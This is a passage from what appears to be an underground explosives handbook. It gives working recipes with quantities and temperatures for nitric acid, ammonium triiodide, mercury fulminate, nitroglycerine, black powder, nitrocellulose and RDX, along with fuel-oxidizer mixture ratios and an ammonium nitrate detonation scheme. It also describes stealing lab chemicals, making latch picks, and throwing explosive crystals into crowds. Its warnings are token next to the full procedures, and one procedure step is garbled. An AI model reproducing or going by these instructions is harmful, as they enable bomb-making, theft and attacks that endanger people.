with more care than black powder, with which it should NEVER be mixed.
It is
sold in small containers which must be mixed and shaken before use. It
is very
finely powdered, and is available in three speeds: fast, medium, and
slow. The
fast flash powder is the best for using in explosives or detonators.
It burns
very rapidly, regardless of confinement or packing, with a hot white
"flash",
hence its name. It is fairly expensive, costing about $11.00. It is
sold
in magic shops and theatre supply stores.
2.06
AMMONIUM NITRATE
Ammonium nitrate is a high explosive material that is often used
as
a commercial "safety explosive" It is very stable, and is difficult to
ignite
with a match. It will only light if the glowing, red-hot part of a
match is
touching it. It is also difficult to detonate; (the phenomenon of
detonation
will be explained later) it requires a large shockwave to cause it to
go high
explosive. Commercially, it is sometimes mixed with a small amount of
nitroglycerine to increase its sensitivity. Ammonium nitrate is used
in the
"Cold-Paks" or "Instant Cold", available in most drug stores. The
"Cold Paks"
consist of a bag of water, surrounded by a second plastic bag
containing the
ammonium nitrate. To get the ammonium nitrate, simply cut off the top
of the
outside bag, remove the plastic bag of water, and save the ammonium
nitrate in
a well sealed, airtight container, since it is rather hydroscopic, i.e.
it
tends to absorb water from the air. It is also the main ingredient in
many
fertilizers.
2.1
ACQUIRING CHEMICALS
The first section deals with getting chemicals legally. This
section
deals with "procuring" them. The best place to steal chemicals is a
college.
Many state schools have all of their chemicals out on the shelves in
the
labs, and more in their chemical stockrooms. Evening is the best time
to enter
lab buildings, as there are the least number of people in the
buildings, and
most of the labs will still be unlocked. One simply takes a bookbag,
wears
a dress shirt and jeans, and tries to resemble a college freshman. If
anyone
asks what such a person is doing, the thief can simply say that he is
looking
for the polymer chemistry lab, or some other chemistry-related
department
other than the one they are in. One can usually find out where the
various
labs and departments in a building are by calling the university.
There
are, of course other techniques for getting into labs after hours, such
as
placing a piece of cardboard in the latch of an unused door, such as a
back
exit. Then, all one needs to do is come back at a later hour. Also,
before
this is done, terrorists check for security systems. If one just walks
into a
lab, even if there is someone there, and walks out the back exit, and
slip the
cardboard in the latch before the door closes, the person in the lab
will never
know what happened. It is also a good idea to observe the building
that one
plans to rob at the time that one plans to rob it several days before
the
actual theft is done. This is advisable since the would-be thief
should know
when and if the campus security makes patrols through buildings. Of
course, if
none of these methods are successful, there is always section 2.11, but
as a
rule, college campus security is pretty poor, and nobody suspects
another
person in the building of doing anything wrong, even if they are there
at an
odd hour.
2.11
TECHNIQUES FOR PICKING LOCKS
If it becomes necessary to pick a lock to enter a lab, the world's
most effective lockpick is dynamite, followed by a sledgehammer. There
are
unfortunately, problems with noise and excess structural damage with
these
methods. The next best thing, however, is a set of army issue
lockpicks.
These, unfortunately, are difficult to acquire. If the door to a lab
is locked,
but the deadbolt is not engaged, then there are other possibilities.
The rule
here is: if one can see the latch, one can open the door. There are
several
devices which facilitate freeing the latch from its hole in the wall.
Dental
tools, stiff wire ( 20 gauge ), specially bent aluminum from cans, thin
pocketknives, and credit cards are the tools of the trade. The way that all
these
tools and devices are uses is similar: pull, push, or otherwise move
the latch
out of its hole in the wall, and pull the door open. This is done by
sliding
whatever tool that you are using behind the latch, and pulling the
latch out
from the wall. To make an aluminum-can lockpick, terrorists can use an
aluminum
can and carefully cut off the can top and bottom. Cut off the ragged
ends of the
can. Then, cut the open-ended cylinder so that it can be flattened out
into a
single long rectangle. This should then be cut into inch wide strips.
Fold the
strips in 1/4 inch increments (1). One will have a long quadruplethick 1/4
inch wide strip of aluminum. This should be folded into an L-shape, a
J-shape,
or a U-shape. This is done by folding. The pieces would look like
this:
(1)
1/4
1/4
1 inch
1/4
1/4
_________________________________________________________
|_______________________________________________________|
|_______________________________________________________|
v
|
|
|_______________________________________________________|
|_______________________________________________________|
^
|
|
Fold along lines to make a single quadruple-thick piece of
aluminum. This should then be folded to produce an L,J,or U shaped
device that looks like this:
__________________________________________
/|________________________________________|
| |
| |
L-shaped
| |
| |
| |
|_|
_____________________________
/|___________________________|
| |
| |
J-shaped
| |
| |_________
\|_______|
_____________________
/|___________________|
| |
| |
| |
U-shaped
| |
| |
| |
| |____________________
\|___________________|
All of these devices should be used to hook the latch of a door
and
pull the latch out of its hole. The folds in the lockpicks will be
between
the door and the wall, and so the device will not unfold, if it is made
properly.
2.2
LIST OF USEFUL HOUSEHOLD CHEMICALS AND THEIR AVAILABILITY
Anyone can get many chemicals from hardware stores, supermarkets,
and drug stores to get the materials to make explosives or other
dangerous
compounds. A would-be terrorist would merely need a station wagon and
some
money to acquire many of the chemicals named here.
Chemical
________
Used In
_______
Available at
____________
_______________________________________________________________________
______
alcohol, ethyl
*
alcoholic beverages
liquor stores
solvents (95% min. for both)
hardware stores
_______________________________________________________________________
______
ammonia +
CLEAR household
supermarkets,
ammonia
7 - Eleven
_______________________________________________________________________
______
ammonium
instant-cold
drug stores,
nitrate
paks, fertilizers
medical supply
stores
_______________________________________________________________________
______
nitrous oxide
pressurizing
party supply
stores
drinks and whip cream
_______________________________________________________________________
______
magnesium
firestarters
surplus stores,
camping stores
_______________________________________________________________________
_____
lecithin
vitamin?
pharmacies,
drug
stores
_______________________________________________________________________
______
mineral oil
cooking, laxative
supermarket,
drug store
_______________________________________________________________________
______
mercury
@
mercury thermometers
supermarkets,
hardware stores
_______________________________________________________________________
______
sulfuric acid
uncharged car
automotive
stores
batteries
_______________________________________________________________________
______
glycerine
?
pharmacies, drug
stores
_______________________________________________________________________
______
sulfur
gardening
gardening store,
hardware stores?
_______________________________________________________________________
______
charcoal
charcoal grills,
supermarkets
gardening
gardening stores
_______________________________________________________________________
______
sodium nitrate
fertilizer
gardening store
_______________________________________________________________________
______
cellulose
first aid
drug stores,
(cotton)
medical supply
stores
_______________________________________________________________________
______
strontium nitrate
road flares
surplus stores,
auto stores
_______________________________________________________________________
______
fuel oil
kerosene stoves
surplus stores,
(kerosene)
camping stores
_______________________________________________________________________
______
bottled gas
propane stoves
surplus stores,
camping stores
_______________________________________________________________________
______
potassium permanganate
water purification
purification
plants
_______________________________________________________________________
______
hexamine or
hexamine stoves
surplus stores
methenamine
(camping)
(camping
stores?)
_______________________________________________________________________
______
nitric acid ^
cleaning printing
printing shops
plates
photography stores?
_______________________________________________________________________
______
iodine
&
first aid
drug stores
_______________________________________________________________________
______
sodium perchlorate solidox pellets
hardware stores
for cutting torches
_______________________________________________________________________
______
notes: * ethyl alcohol is mixed with methyl alcohol when it is used as
a
solvent. Methyl alcohol is very poisonous. Solvent alcohol
must be at least 95% ethyl alcohol if it is used to make mercury
fulminate. Methyl alcohol may prevent mercury fulminate from
forming.
+ Ammonia, when bought in stores comes in a variety of forms. The
pine and cloudy ammonias should not be bought; only the clear
ammonia should be used to make ammonium triiodide crystals.
@ Mercury thermometers are becoming a rarity, unfortunately. They
may be hard to find in most stores. Mercury is also used in
mercury switches, which are available at electronics stores.
Mercury is a hazardous substance, and should be kept in the
thermometer or mercury switch until used. It gives off mercury
vapors which will cause brain damage if inhaled. For this
reason,
it is a good idea not to spill mercury, and to always use it
outdoors. Also, do not get it in an open cut; rubber gloves
will
help prevent this.
^ Nitric acid is very difficult to find nowadays. It is usually
stolen by bomb makers, or made by the process described in a
later
section.
A desired concentration for making explosives about
70%.
& The iodine sold in drug stores is usually not the pure
crystaline
form that is desired for producing ammonium triiodide crystals.
To obtain the pure form, it must usually be acquired by a
doctor's
prescription, but this can be expensive. Once again, theft is
the
means that terrorists result to.
2.3
2.31
PREPARATION OF CHEMICALS
NITRIC ACID
There are several ways to make this most essential of all acids
for
explosives. One method by which it could be made will be presented.
Once
again, be reminded that these methods SHOULD NOT BE CARRIED OUT!!
Materials:
__________
sodium nitrate
or
potassium nitrate
distilled water
concentrated
sulfuric acid
Equipment
_________
adjustable heat source
retort
ice bath
stirring rod
collecting flask with stopper
1) Pour 32 milliliters of concentrated sulfuric acid into the retort.
2) Carefully weigh out 58 grams of sodium nitrate, or 68 grams of
potassium
nitrate. and add this to the acid slowly. If it all does not dissolve,
carefully stir the solution with a glass rod until it does.
3) Place the open end of the retort into the collecting flask, and
place the
collecting flask in the ice bath.
4) Begin heating the retort, using low heat. Continue heating until
liquid
begins to come out of the end of the retort. The liquid that forms
is nitric
acid. Heat until the precipitate in the bottom of the retort is
almost dry,
or until no more nitric acid is forming. CAUTION: If the acid is
headed too
strongly, the nitric acid will decompose as soon as it is formed.
This
can result in the production of highly flammable and toxic gasses
that may
explode. It is a good idea to set the above apparatus up, and then
get
away from it.
Potassium nitrate could also be obtained from store-bought black
powder,
simply by dissolving black powder in boiling water and filtering out
the sulfur
and charcoal. To obtain 68 g of potassium nitrate, it would be
necessary to
dissolve about 90 g of black powder in about one litre of boiling
water. Filter
the dissolved solution through filter paper in a funnel into a jar
until the
liquid that pours through is clear. The charcoal and sulfur in black
powder
are insoluble in water, and so when the solution of water is allowed to
evaporate, potassium nitrate will be left in the jar.
2.32
SULFURIC ACID
Sulfuric acid is far too difficult to make outside of a laboratory
or
industrial plant. However, it is readily available in an uncharged car
battery.
A person wishing to make sulfuric acid would simply remove the top of a
car
battery and pour the acid into a glass container. There would probably
be
pieces of lead from the battery in the acid which would have to be
removed,
either by boiling or filtration. The concentration of the sulfuric
acid can
also be increased by boiling it; very pure sulfuric acid pours slightly
faster
than clean motor oil.
2.33
AMMONIUM NITRATE
Ammonium nitrate is a very powerful but insensitive high-order
explosive. It could be made very easily by pouring nitric acid into a
large
flask in an ice bath. Then, by simply pouring household ammonia into
the flask
and running away, ammonium nitrate would be formed. After the
materials have
stopped reacting, one would simply have to leave the solution in a warm
place
until all of the water and any unneutralized ammonia or acid have
evaporated.
There would be a fine powder formed, which would be ammonium nitrate.
It must
be kept in an airtight container, because of its tendency to pick up
water from
the air. The crystals formed in the above process would have to be
heated VERY
gently to drive off the remaining water.
3.0
EXPLOSIVE RECIPES
Once again, persons reading this material MUST NEVER ATTEMPT TO
PRODUCE
ANY OF THE EXPLOSIVES DESCRIBED HEREIN. IT IS ILLEGAL AND EXTREMELY
DANGEROUS
TO ATTEMPT TO DO SO. LOSS OF LIFE AND/OR LIMB COULD EASILY OCCUR AS A
RESULT
OF ATTEMPTING TO PRODUCE EXPLOSIVE MATERIALS.
These recipes are theoretically correct, meaning that an
individual
could conceivably produce the materials described. The methods here
are usually
scaled-down industrial procedures.
3.01
EXPLOSIVE THEORY
An explosive is any material that, when ignited by heat or shock,
undergoes rapid decomposition or oxidation. This process releases
energy that
is stored in the material in the form of heat and light, or by breaking
down
into gaseous compounds that occupy a much larger volume that the
original piece
of material. Because this expansion is very rapid, large volumes of
air are
displaced by the expanding gasses. This expansion occurs at a speed
greater
than the speed of sound, and so a sonic boom occurs. This explains the
mechanics behind an explosion. Explosives occur in several forms:
high-order
explosives which detonate, low order explosives, which burn, and
primers, which
may do both.
High order explosives detonate.
high
A detonation occurs only in a
order explosive. Detonations are usually incurred by a shockwave that
passes
through a block of the high explosive material. The shockwave breaks
apart
the molecular bonds between the atoms of the substance, at a rate
approximately
equal to the speed of sound traveling through that material. In a high
explosive, the fuel and oxodizer are chemically bonded, and the
shockwave breaks
apart these bonds, and re-combines the two materials to produce mostly
gasses.
T.N.T., ammonium nitrate, and R.D.X. are examples of high order
explosives.
Low order explosives do not detonate; they burn, or undergo
oxidation.
when heated, the fuel(s) and oxodizer(s) combine to produce heat,
light, and
gaseous products. Some low order materials burn at about the same
speed under
pressure as they do in the open, such as blackpowder. Others, such as
gunpowder,
which is correctly called nitrocellulose, burn much faster and hotter
when they
are in a confined space, such as the barrel of a firearm; they usually
burn
much slower than blackpowder when they are ignited in unpressurized
conditions.
Black powder, nitrocellulose, and flash powder are good examples of low
order
explosives.
Primers are peculiarities to the explosive field. Some of them,
such as
mercury filminate, will function as a low or high order explosive.
They are
usually more sensitive to friction, heat, or shock, than the high or
low
explosives. Most primers perform like a high order explosive, except
that they
are much more sensitive. Still others merely burn, but when they are
confined,
they burn at a great rate and with a large expansion of gasses and a
shockwave.
Primers are usually used in a small amount to initiate, or cause to
decompose,
a high order explosive, as in an artillery shell. But, they are also
frequently
used to ignite a low order explosive; the gunpowder in a bullet is
ignited by
the detonation of its primer.
3.1
IMPACT EXPLOSIVES
Impact explosives are often used as primers.
discussed
Of the ones
here, only mercury fulminate and nitroglycerine are real explosives;
Ammonium
triiodide crystals decompose upon impact, but they release little heat
and no
light. Impact explosives are always treated with the greatest care,
and even
the stupidest anarchist never stores them near any high or low
explosives.
3.11
AMMONIUM TRIIODIDE CRYSTALS
Ammonium triiodide crystals are foul-smelling purple colored
crystals
that decompose under the slightest amount of heat, friction, or shock,
if they
are made with the purest ammonia (ammonium hydroxide) and iodine. Such
crystals are said to detonate when a fly lands on them, or when an ant
walks
across them. Household ammonia, however, has enough impurities, such
as soaps
and abrasive agents, so that the crystals will detonate when
thrown,crushed, or
heated. Upon detonation, a loud report is heard, and a cloud of purple
iodine
gas appears about the detonation site. Whatever the unfortunate
surface that
the crystal was detonated upon will usually be ruined, as some of the
iodine
in the crystal is thrown about in a solid form, and iodine is
corrosive. It
leaves nasty, ugly, permanent brownish-purple stains on whatever it
contacts.
Iodine gas is also bad news, since it can damage lungs, and it settles
to the
ground and stains things there also. Touching iodine leaves brown
stains on
the skin that last for about a week, unless they are immediately and
vigorously
washed off. While such a compound would have little use to a serious
terrorist,
a vandal could utilize them in damaging property. Or, a terrorist
could throw
several of them into a crowd as a distraction, an action which would
possibly
injure a few people, but frighten almost anyone, since a small crystal
that
not be seen when thrown produces a rather loud explosion. Ammonium
triiodide
crystals could be produced in the following manner:
Materials
_________
iodine crystals
Equipment
_________
funnel and filter paper
paper towels
clear ammonia
(ammonium hydroxide, two throw-away glass jars
for the suicidal)
1) Place about two teaspoons of iodine into one of the glass jars.
jars
must both be throw away because they will never be clean again.
The
2) Add enough ammonia to completely cover the iodine.
3) Place the funnel into the
funnel.
The technique for putting
every basic
chemistry lab class: fold
semi-circle
is formed. Then, fold it
curved
side. Pull one thickness
cone
into the funnel.
other jar, and put the filter paper in the
filter paper in a funnel is taught in
the circular paper in half, so that a
in half again to form a triangle with one
of paper out to form a cone, and place the
4) After allowing the iodine to soak in the ammonia for a while, pour
the
solution into the paper in the funnel through the filter paper.
5) While the solution is being filtered, put more ammonia into the
first jar
to wash any remaining crystals into the funnel as soon as it drains.
6) Collect all the purplish crystals without touching the brown filter
paper,
and place them on the paper towels to dry for about an hour. Make
sure that
they are not too close to any lights or other sources of heat, as
they could
well detonate. While they are still wet, divide the wet material
into about
eight chunks.
7) After they dry, gently place the crystals onto a one square inch
piece of
duct tape. Cover it with a similar piece, and gently press the duct
tape
together around the crystal, making sure not to press the crystal
itself.
Finally, cut away most of the excess duct tape with a pair of
scissors, and
store the crystals in a cool dry safe place. They have a shelf life
of
about a week, and they should be stored in individual containers
that can be
thrown away, since they have a tendency to slowly decompose, a
process which
gives off iodine vapors, which will stain whatever they settle on.
One
possible way to increase their shelf life is to store them in
airtight
containers. To use them, simply throw them against any surface or
place them
where they will be stepped on or crushed.
3.12
MERCURY FULMINATE
Mercury fulminate is perhaps one of the oldest known initiating
compounds. It can be detonated by either heat or shock, which would
make it
of infinite value to a terrorist. Even the action of dropping a
crystal of
the fulminate causes it to explode. A person making this material
would
probably use the following procedure:
MATERIALS
_________
mercury (5 g)
concentrated nitric
acid (35 ml)
EQUIPMENT
_________
glass stirring rod
100 ml beaker (2)
ethyl alcohol (30 ml)
adjustable heat
source
distilled water
blue litmus paper
funnel and filter paper
1) In one beaker, mix 5 g of mercury with 35 ml of concentrated nitric
acid,
using the glass rod.
2) Slowly heat the mixture until the mercury is dissolved, which is
when the
solution turns green and boils.
3) Place 30 ml of ethyl alcohol into the second beaker, and slowly and
carefully
add all of the contents of the first beaker to it. Red and/or
brown fumes
should appear. These fumes are toxic and flammable.
4) After thirty to forty minutes, the fumes should turn white,
indicating that
the reaction is near completion. After ten more minutes, add 30 ml
of the
distilled water to the solution.
5) Carefully filter out the crystals of mercury fulminate from the
liquid
solution. Dispose of the solution in a safe place, as it is
corrosive
and toxic.
6) Wash the crystals several times in distilled water to remove as much
excess
acid as possible. Test the crystals with the litmus paper until
they are
neutral.
This will be when the litmus paper stays blue when it
touches the
wet crystals
7) Allow the crystals to dry, and store them in a safe place, far away
from
any explosive or flammable material.
This procedure can also be done by volume, if the available
mercury
cannot be weighed. Simply use 10 volumes of nitric acid and 10 volumes
of
ethanol to every one volume of mercury.
3.13
NITROGLYCERINE
Nitroglycerine is one of the most sensitive explosives, if it is
not
the most sensitive. Although it is possible to make it safely, it is
difficult.
Many a young anarchist has been killed or seriously injured while
trying to
make the stuff. When Nobel's factories make it, many people were
killed by the
all-to-frequent factory explosions. Usually, as soon as it is made, it
is
converted into a safer substance, such as dynamite. An idiot who
attempts
to make nitroglycerine would use the following procedure:
MATERIAL
________
EQUIPMENT
_________
distilled water
eye-dropper
table salt
100 ml beaker
sodium bicarbonate
concentrated nitric
acid (13 ml)
concentrated sulfuric
acid (39 ml)
200-300 ml beakers (2)
ice bath container
( a plastic bucket serves well )
centigrade thermometer
glycerine
blue litmus paper
1) Place 150 ml of distilled water into one of the 200-300 ml beakers.
2) In the other 200-300 ml beaker, place 150 ml of distilled water and
about
a spoonful of sodium bicarbonate, and stir them until the sodium
bicarbonate
dissolves. Do not put so much sodium bicarbonate in the water so
that some
remains undissolved.
3) Create an ice bath by half filling the ice bath container with ice,
and
adding table salt. This will cause the ice to melt, lowering the
overall
temperature.
4) Place the 100 ml beaker into the ice bath, and pour the 13 ml of
concentrated
nitric acid into the 100 ml beaker. Be sure that the beaker will
not spill
into the ice bath, and that the ice bath will not overflow into the
beaker
when more materials are added to it. Be sure to have a large enough
ice bath
container to add more ice. Bring the temperature of the acid down
to about 20
degrees centigrade or less.
5) When the nitric acid is as cold as stated above, slowly and
carefully add the
39 ml of concentrated sulfuric acid to the nitric acid. Mix the two
acids
together, and cool the mixed acids to 10 degrees centigrade. It is
a good
idea to start another ice bath to do this.
6) With the eyedropper, slowly put the glycerine into the mixed acids,
one drop
at a time. Hold the thermometer along the top of the mixture where
the mixed
acids and glycerine meet. DO NOT ALLOW THE TEMPERATURE TO GET ABOVE
30
DEGREES CENTIGRADE; IF THE TEMPERATURE RISES ABOVE THIS TEMPERATURE,
RUN
LIKE HELL!!! The glycerine will start to nitrate immediately, and
the
temperature will immediately begin to rise. Add glycerine until
there is a
thin layer of glycerine on top of the mixed acids. It is always
safest to
make any explosive in small quantities.
7) Stir the mixed acids and glycerine for the first ten minutes of
nitration,
adding ice and salt to the ice bath to keep the temperature of the
solution
in the 100 ml beaker well below 30 degrees centigrade. Usually, the
nitroglycerine will form on the top of the mixed acid solution, and
the
concentrated sulfuric acid will absorb the water produced by the
reaction.
8) When the reaction is over, and when the nitroglycerine is well below
30
degrees centigrade, slowly and carefully pour the solution of
nitroglycerine
and mixed acid into the distilled water in the beaker in step 1.
The
nitroglycerine should settle to the bottom of the beaker, and the
water-acid
solution on top can be poured off and disposed of. Drain as much of
the
acid-water solution as possible without disturbing the
nitroglycerine.
9) Carefully remove the nitroglycerine with a clean eye-dropper, and
place it
into the beaker in step 2. The sodium bicarbonate solution will
eliminate
much of the acid, which will make the nitroglycerine more stable,
and less
likely to explode for no reason, which it can do. Test the
nitroglycerine
with the litmus paper until the litmus stays blue. Repeat this step
if
necessary, and use new sodium bicarbonate solutions as in step 2.
10) When the nitroglycerine is as acid-free as possible, store it in a
clean
container in a safe place. The best place to store nitroglycerine
is
far away from anything living, or from anything of any value.
Nitroglycerine can explode for no apparent reason, even if it is
stored
in a secure cool place.
3.14
PICRATES
Although the procedure for the production of picric acid, or
trinitrophenol has not yet been given, its salts are described first,
since they
are extremely sensitive, and detonate on impact. By mixing picric acid
with
metal hydroxides, such as sodium or potassium hydroxide, and
evaporating the
water, metal picrates can be formed. Simply obtain picric acid, or
produce it,
and mix it with a solution of (preferably) potassium hydroxide, of a
mid range
molarity. (about 6-9 M) This material, potassium picrate, is impactsensitive,
and can be used as an initiator for any type of high explosive.
3.2
LOW-ORDER EXPLOSIVES
There are many low-order explosives that can be purchased in
stores
and used in explosive devices. However, it is possible that a wise gun
store
owner would not sell these substances to a suspicious-looking
individual. Such
an individual would then be forced to resort to making his own loworder
explosives.
3.21
BLACK POWDER
First made by the Chinese for use in fireworks, black powder was
first
used in weapons and explosives in the 12th century. It is very simple
to make,
but it is not very powerful or safe. Only about 50% of black powder is
converted to hot gasses when it is burned; the other half is mostly
very fine
burned particles. Black powder has one major problem: it can be
ignited by
static electricity. This is very bad, and it means that the material
must be
made with wooden or clay tools. Anyway, a misguided individual could
manufacture black powder at home with the following procedure:
MATERIALS
_________
potassium
nitrate (75 g)
or
sodium
nitrate (75 g)
sulfur (10 g)
EQUIPMENT
_________
clay grinding bowl
and clay grinder
or
wooden salad bowl
and wooden spoon
plastic bags (3)
charcoal (15 g)
300-500 ml beaker (1)
distilled water
coffee pot or heat source
1) Place a small amount of the potassium or sodium nitrate in the
grinding bowl
and grind it to a very fine powder.
Do this to all of the potassium
or
sodium nitrate, and store the ground powder in one of the plastic
bags.
2) Do the same thing to the sulfur and charcoal, storing each chemical
in a
separate plastic bag.
3) Place all of the finely ground potassium or sodium nitrate in the
beaker, and
add just enough boiling water to the chemical to get it all wet.
4) Add the contents of the other plastic bags to the wet potassium or
sodium
nitrate, and mix them well for several minutes. Do this until there
is no
more visible sulfur or charcoal, or until the mixture is universally
black.
5) On a warm sunny day, put the beaker outside in the direct sunlight.
Sunlight
is really the best way to dry black powder, since it is never too
hot, but it
is hot enough to evaporate the water.
6) Scrape the black powder out of the beaker, and store it in a safe
container.
Plastic is really the safest container, followed by paper. Never
store black
powder in a plastic bag, since plastic bags are prone to generate
static
electricity.
3.22
NITROCELLULOSE
Nitrocellulose is usually called "gunpowder" or "guncotton". It
is more
stable than black powder, and it produces a much greater volume of hot
gas. It
also burns much faster than black powder when it is in a confined
space.
Finally, nitrocellulose is fairly easy to make, as outlined by the
following
procedure:
MATERIALS
_________
cotton
EQUIPMENT
_________
(cellulose)
concentrated
nitric acid
two (2) 200-300 ml beakers
funnel and filter paper
blue litmus paper
concentrated
sulfuric acid
distilled water
1) Pour 10 cc of concentrated sulfuric acid into the beaker.
this
10 cc of concentrated nitric acid.
Add to
2) Immediately add 0.5 gm of cotton, and allow it to soak for exactly 3
minutes.
3) Remove the nitrocottmNX and`´(r)¹ÍÉJÑ¢1/2
-Éz"¥ÍÑ¥±±ºÑÉ5þ
to wash it in.
4) Allow the material to dry, and then re-wash it.
5) After the cotton is neutral when tested with litmus paper, it is
ready to
be dried and stored.
3.23
FUEL-OXODIZER MIXTURES
There are nearly an infinite number of fuel-oxodizer mixtures that
can
be produced by a misguided individual in his own home. Some are very
effective
and dangerous, while others are safer and less effective. A list of
working
fuel-oxodizer mixtures will be presented, but the exact measurements of
each
compound are debatable for maximum effectiveness. A rough estimate
will be
given of the percentages of each fuel and oxodizer:
oxodizer, % by weight
fuel, % by weight
speed #
notes
_______________________________________________________________________
_________
potassium chlorate 67%
sulfur 33%
5
friction/
impact
sensitive
rather
unstable
_______________________________________________________________________
_________
potassium chlorate 50%
sugar 35%
5
fairly slow
charcoal 15%
burning;
unstable
_______________________________________________________________________
_________
potassium chlorate 50%
extremely
sulfur 25%
8
magnesium or
unstable!
aluminum dust 25%
_______________________________________________________________________
_________
potassium chlorate 67%
magnesium or
8
unstable
aluminum dust 33%
_______________________________________________________________________
_________
sodium nitrate 65%
magnesium dust 30%
?
unpredictable
sulfur 5%
burn
rate
_______________________________________________________________________
_________
potassium permanganate 60%
glycerine 40%
4
delay
before
ignition
depends
WARNING: IGNITES SPONTANEOUSLY WITH GLYCERINE!!!
upon grain
size
_______________________________________________________________________
_________
potassium permanganate 67%
sulfur 33%
5
unstable
_______________________________________________________________________
_________
potassium permangenate 60%
sulfur 20%
5
unstable
magnesium or
aluminum dust 20%
_______________________________________________________________________
_________
potassium permanganate 50%
sugar 50%
3
?
_______________________________________________________________________
_________
potassium nitrate 75%
charcoal 15%
7
this
is
sulfur 10%
black
powder!
_______________________________________________________________________
_________
potassium nitrate 60%
powdered iron
1
burns very hot
or
magnesium 40%
_______________________________________________________________________
_________
potassium chlorate 75%
phosphorus
8
used to
make
sesquisulfide 25%
strikeanywhere
matches
_______________________________________________________________________
_________
ammonium perchlorate 70%
aluminum dust 30%
6
solid
fuel for
+ small amount of
space
shuttle
iron oxide
_______________________________________________________________________
_________
potassium perchlorate 67%
magnesium or
10
flash
powder
(sodium perchlorate)
aluminum dust 33%
_______________________________________________________________________
_________
potassium perchlorate 60%
magnesium or
8
alternate
(sodium perchlorate)
aluminum dust 20%
flash
powder
sulfur 20%
_______________________________________________________________________
_________
barium nitrate 30%
aluminum dust 30%
9
alternate
potassium perchlorate 30%
flash
powder
_______________________________________________________________________
_________
barium peroxide 90%
magnesium dust 5%
10
alternate
aluminum dust 5%
flash
powder
_______________________________________________________________________
_________
potassium perchlorate 50%
sulfur 25%
8
slightly
magnesium or
unstable
aluminum dust 25%
_______________________________________________________________________
_________
potassium chlorate 67%
red phosphorus 27%
7
very
calcium carbonate 3%
sulfur 3%
unstable!
impact
sensitive
_______________________________________________________________________
_________
potassium permanganate 50%
unstable;
powdered sugar 25%
aluminum or
magnesium dust 25%
7
ignites if
it gets
wet!
_______________________________________________________________________
_________
potassium chlorate 75%
charcoal dust 15%
6
unstable
sulfur 10%
_______________________________________________________________________
_________
NOTE: Mixtures that uses substitutions of sodium perchlorate for
potassium
perchlorate become moisture-absorbent and less stable.
The higher the speed number, the faster the fuel-oxodizer mixture
burns
AFTER ignition. Also, as a rule, the finer the powder, the faster the
rate of
burning.
As one can easily see, there is a wide variety of fuel-oxodizer
mixtures
that can be made at home. By altering the amounts of fuel and
oxodizer(s),
different burn rates can be achieved, but this also can change the
sensitivity of
the mixture.
3.24
PERCHLORATES
As a rule, any oxidizable material that is treated with perchloric
acid
will become a low order explosive. Metals, however, such as potassium
or
sodium, become excellent bases for flash-type powders. Some materials
that can
be perchlorated are cotton, paper, and sawdust. To produce potassium
or sodium
perchlorate, simply acquire the hydroxide of that metal, e.g. sodium or
potassium hydroxide. It is a good idea to test the material to be
perchlorated
with a very small amount of acid, since some of the materials tend to
react
explosively when contacted by the acid. Solutions of sodium or
potassium
hydroxide are ideal.
3.3
HIGH-ORDER EXPLOSIVES
High order explosives can be made in the home without too much
difficulty. The main problem is acquiring the nitric acid to produce
the high
explosive. Most high explosives detonate because their molecular
structure is
made up of some fuel and usually three or more NO2 ( nitrogen dioxide )
molecules. T.N.T., or Tri-Nitro-Toluene is an excellent example of
such a
material. When a shock wave passes through an molecule of T.N.T., the
nitrogen dioxide bond is broken, and the oxygen combines with the fuel,
all in
a matter of microseconds. This accounts for the great power of
nitrogen-based
explosives. Remembering that these procedures are NEVER TO BE CARRIED
OUT,
several methods of manufacturing high-order explosives in the home are
listed.
3.31
R.D.X.
R.D.X., also called cyclonite, or composition C-1 (when mixed with
plasticisers) is one of the most valuable of all military explosives.
This is
because it has more than 150% of the power of T.N.T., and is much
easier to
detonate. It should not be used alone, since it can be set off by a
not-too
severe shock. It is less sensitive than mercury fulminate, or
nitroglycerine,
but it is still too sensitive to be used alone. R.D.X. can be made by
the
surprisingly simple method outlined hereafter. It is much easier to
make in the
home than all other high explosives, with the possible exception of
ammonium
nitrate.
MATERIALS
_________
EQUIPMENT
_________
hexamine
or
methenamine
fuel tablets (50 g)
500 ml beaker
glass stirring rod
funnel and filter paper
concentrated
nitric acid (550 ml)
ice bath container
(plastic bucket)
distilled water
centigrade thermometer
table salt
blue litmus paper
ice
ammonium nitrate
1) Place the beaker in the ice bath, (see section 3.13, steps 3-4) and
carefully
pour 550 ml of concentrated nitric acid into the beaker.
2) When the acid has cooled to below 20 degrees centigrade, add small
amounts of
the crushed fuel tablets to the beaker. The temperature will rise,
and it
must be kept below 30 degrees centigrade, or dire consequences could
result.
Stir the mixture.
3) Drop the temperature below zero degrees centigrade, either by adding
more ice
and salt to the old ice bath, or by creating a new ice bath. Or,
ammonium
nitrate could be added to the old ice bath, since it becomes cold
when it is
put in water. Continue stirring the mixture, keeping the temperature
below
zero degrees centigrade for at least twenty minutes
4) Pour the mixture into a litre of crushed ice. Shake and stir the
mixture,
and allow it to melt. Once it has melted, filter out the crystals,
and
dispose of the corrosive liquid.
5) Place the crystals into one half a litre of boiling distilled water.
Filter
the crystals, and test them with the blue litmus paper. Repeat
steps 4 and 5
until the litmus paper remains blue. This will make the crystals
more stable
and safe.
6) Store the crystals wet until ready for use. Allow them to dry
completely
using them. R.D.X. is not stable enough to use alone as an
explosive.
7) Composition C-1 can be made by mixing 88.3% R.D.X. (by weight) with
11.1%
mineral oil, and 0.6% lecithin. Kneed these material together in a
plastic
bag. This is a good way to desensitize the explosive.
8) H.M.X. is a mixture of T.N.T. and R.D.X.; the ratio is 50/50, by
weight.
it is not as sensitive, and is almost as powerful as straight R.D.X.
9) By adding ammonium nitrate to the crystals of R.D.X. after step 5,
it should
be possible to desensitize the R.D.X., and increase its power, since
ammonium
nitrate is very insensitive and powerful. Soduim or potassium
nitrate could
also be added; a small quantity is sufficient to stabilize the
R.D.X.
10) R.D.X. detonates at a rate of 8550 meters/second when it is
compressed to a
density of 1.55 g/cubic cm.
3.32
AMMONIUM NITRATE
Ammonium nitrate could be made by a terrorist according to the
haphazard method in section 2.33, or it could be stolen from a
construction site,
since it is usually used in blasting, because it is very stable and
insensitive
to shock and heat. A terrorist could also buy several Instant ColdPaks from a
drug store or medical supply store. The major disadvantage with
ammonium
nitrate, from a terrorist's point of view, would be detonating it. A
rather
powerful priming charge must be used, and usually with a booster
charge. The
diagram below will explain.
_________________________________________
|
|
|
________|
|
|
|
| T.N.T.|
ammonium nitrate
|
|primer |booster|
|
|_______|
|
|
|
|
|
|_______|_______________________________|
The primer explodes, detonating the T.N.T., which detonates,
sending
